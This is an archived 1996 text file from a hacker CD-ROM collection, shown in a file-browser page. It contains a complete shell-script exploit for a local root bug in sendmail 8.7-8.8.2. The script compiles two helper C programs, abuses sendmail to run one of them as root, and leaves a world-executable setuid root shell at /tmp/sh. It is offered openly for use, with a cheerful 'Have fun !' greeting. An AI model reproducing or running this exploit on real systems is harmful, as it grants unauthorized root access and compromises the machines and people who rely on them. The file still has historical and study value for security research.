home *** CD-ROM | disk | FTP | other *** search
/ The Hacker's Encyclopedia 1998 / hackers_encyclopedia.iso / hacking / unix / linux_se.asc < prev    next >
Encoding:
Text File  |  2003-06-11  |  1.8 KB  |  48 lines
  1.  
  2.                Exploit for sendmail smtpd bug (ver. 8.7-8.8.2).
  3.                                        
  4.    Leshka Zakharoff (leshka@leshka.chuvashia.su)
  5.    Sat, 16 Nov 1996 04:09:18 +0300
  6.  
  7. #/bin/sh
  8. #
  9. #
  10. #                                   Hi !
  11. #                This is exploit for sendmail smtpd bug
  12. #    (ver. 8.7-8.8.2 for FreeBSD, Linux and may be other platforms).
  13. #         This shell script does a root shell in /tmp directory.
  14. #          If you have any problems with it, drop me a letter.
  15. #                                Have fun !
  16. #
  17. #
  18. #                           ----------------------
  19. #               ---------------------------------------------
  20. #    -----------------   Dedicated to my beautiful lady   ------------------
  21. #               ---------------------------------------------
  22. #                           ----------------------
  23. #
  24. #          Leshka Zakharoff, 1996. E-mail: leshka@leshka.chuvashia.su
  25. #
  26. #
  27. #
  28. echo   'main()                                                '>>leshka.c
  29. echo   '{                                                     '>>leshka.c
  30. echo   '  execl("/usr/sbin/sendmail","/tmp/smtpd",0);         '>>leshka.c
  31. echo   '}                                                     '>>leshka.c
  32. #
  33. #
  34. echo   'main()                                                '>>smtpd.c
  35. echo   '{                                                     '>>smtpd.c
  36. echo   '  setuid(0); setgid(0);                               '>>smtpd.c
  37. echo   '  system("cp /bin/sh /tmp;chmod a=rsx /tmp/sh");      '>>smtpd.c
  38. echo   '}                                                     '>>smtpd.c
  39. #
  40. #
  41. cc -o leshka leshka.c;cc -o /tmp/smtpd smtpd.c
  42. ./leshka
  43. kill -HUP `ps -ax|grep /tmp/smtpd|grep -v grep|tr -d ' '|tr -cs "[:digit:]" "\n
  44. "|head -n 1`
  45. rm leshka.c leshka smtpd.c /tmp/smtpd
  46. /tmp/sh
  47. #-------------------------------- CUT HERE ------------------------------------
  48.